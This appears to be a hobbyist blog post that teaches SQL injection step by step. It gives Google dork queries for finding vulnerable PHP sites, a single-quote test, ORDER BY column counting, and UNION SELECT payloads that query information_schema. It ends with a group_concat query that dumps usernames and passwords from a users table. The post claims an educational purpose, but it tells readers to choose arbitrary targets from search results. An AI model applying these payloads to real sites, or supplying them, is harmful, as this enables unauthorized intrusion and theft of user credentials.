hacking websites using SQL injection attack on vulnerable sites.
Warning : This is only for EDUCATIONAL purposes to make you aware of the
vulnerabilities that may be present in your website so that you may
self test it in your OWNED website to IMPROVE the SECURITY ,,,,,!!! The
person posting this or the this blog is not responsible for any type
malicuous activities performed by anyone else,,,,!!!
This is what
they basically teach you when you go for certain HACKING COURSES which I
have taken pains for hours to put this to you without even earning a
penny and sharing it for FREE,,,,!!! Atleast some comments and feedback
from you will make me Happy
^_^
So Guyzzz I have now decided to post some serious ADVANCED LEVEL OF
Hacking stuffs which is how the “Cracker” breaks into your Vulnerable
Websites,,,,!!!
All you need to know is a bit of SQL queries,,,!!!
It doesnt matter even if you are not an expert in
So here we go,,,
What is SQL Injection?
So let me give you some idea of what I am going to talk about,,,,There
are many complex defenitions you may get in various other sites,,, But I
put it in simple terms,,,, You type some SQL queries or codes [or
whatever you wish to call it ;D] on the address bar[whee you type the
web address of sites to be searched] to test vulnerable website,,,,!!!
If you find it vulnerable then BINGO,,,!!! we will use some more SQL
injection queries to crack it,,,!!!
So guyzzz who are related to
computer science stream,,, If you found learning SQL boring this is one
way to make yourself interested in ;D
And as far as others are
concerned,,, please dont worry i’will be giving you some codes which you
may use to Test the Vulnerability of the site,,,!!!
QUICK STEPS TO FIND THE VULNERABILITY OF WEBSITES,,,!!!
Step 1:
Search for any of the following terms in Google:
inurl:product.php?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:shop.php?id=
inurl:shop.php?pid=
inurl:newsroom.php?id=
Step 2: Now for example say there is a website that you found in Google search say for example
http://www.rahulswebsite.com/index.php?id=7
Open the website in a new tab,,,!!!
Step 3:
To test if your selected website is vulnerable:
Add the ‘ (single quote symbol) after the site as follows
http://www.rahulswebsite.com/index.php?id=7′ ;
and now Hit the “Enter” Key,,,!!!
If there is any type of “ MySQL error ” !!!BINGO,,,!!!
Then it means your target website is vulnerable.
STEPS TO HACK INTO THE WEBSITE AFTER FINDING THE VULNERABILITY
Step 1:
After finding the vulnerability of your target site, use the ORDER BY command to extract the number of columns in the database.
Ex Code:
http://www.anywebsite.com/index.php?id=7 ORDER BY 1–
Doing ORDER BY 1– should always return the original page with NO error.
Step 2:
Then do ORDER BY 2–
If this shows the original page with NO error, continue.
Now try ORDER BY 3–
and so on,
If this shows the original page with NO error, continue.
Step 4:
Continue increasing the ORDER BY number until you reach an error. For
example, if doing ORDER BY 10– returns an error, then there is a table
which has NINE (9) columns, NOT 10. Always subtract ONE from the number
that produced the error.
STEP 5:
Next step is to use UNION & SELECT
After getting the number of columns, let’s say we have NINE columns. Then you have to type the following code:
Code:
http://www.anywebsite.com/index.php?id=7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9–
You should see a page with a few numbers scattered throughout it. If so, continue,
IF NOT, try the following in which we have to add the ” – “hypen or negative sign in front of the id value of our website:
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9–
At the end if this produces the scattered numbers, continue, if not, STOP!!!
Choose anyother target website from the GOOGLE search and repeat the vulnerability test,,,!!!
Step 6:
Now we use the database() command
After you see the scattered numbers, pick one to exploit. Say the
numbers on my page are TWO and SEVEN. I will choose the number TWO.
After choosing your number, put database() in place of it in your URL as
shown below. REMEMBER, I chose number TWO.
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,database(),3,4,5,6,7,8,9–
That should return some text in place of the scattered TWO. WRITE THIS TEXT DOWN, and move on.
Step 7: We use group_concat
This is where everything gets a little trickier! This is also the part where you will be extracting data. Yeah! Bingoo!!!
:D
:D *** Fist punch ***
After extracting the name of the database using database(), type this where you typed database() in the previous step.
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()–
TYPE THIS EXACTLY AS IT IS SHOWN, and press enter.
In place of the scattered TWO, you should see a LOT of text separated
by commas. These are called tables. The text varies by website, but you
usually want to look for things like “admin,” “staff,” or “users.”
Choose the one that interests you. For this tutorial, I will choose
“users.” Now type this:
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database()–
OR
if you want the columns from ONLY one table, use this (courtesy of dR..EviL):
Code:
http://www.anywebsite.com/index.php?id=-7UNION
ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from
information_schema.columns where table_name=< table name goes here in
hex or ascii format >–
This should return even more text. These
are called columns. Again choose what interests you, but for this
tutorial, I will choose “username” and “password.”
The columns
“username” and “password” contain the data we want to extract. To
extract the final data, meaning, in this case, the usernames and
passwords of all the users, type this:
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(username,0x3a,password,0x3a),3,4,5,6,7,8,9 from users–
Where it says “username,0x3a,password,0x3a” is where you would the name
of your chosen COLUMNS, such as username and password, DO NOT replace
the 0x3a, ONLY the username and password area. Where it says “from
users–,” replace “users” with the name of your chosen table such as the
one “users.” All of this will produce even MORE text in this format:
Code:
admin:thisismypass:,
The comma separates each set of data.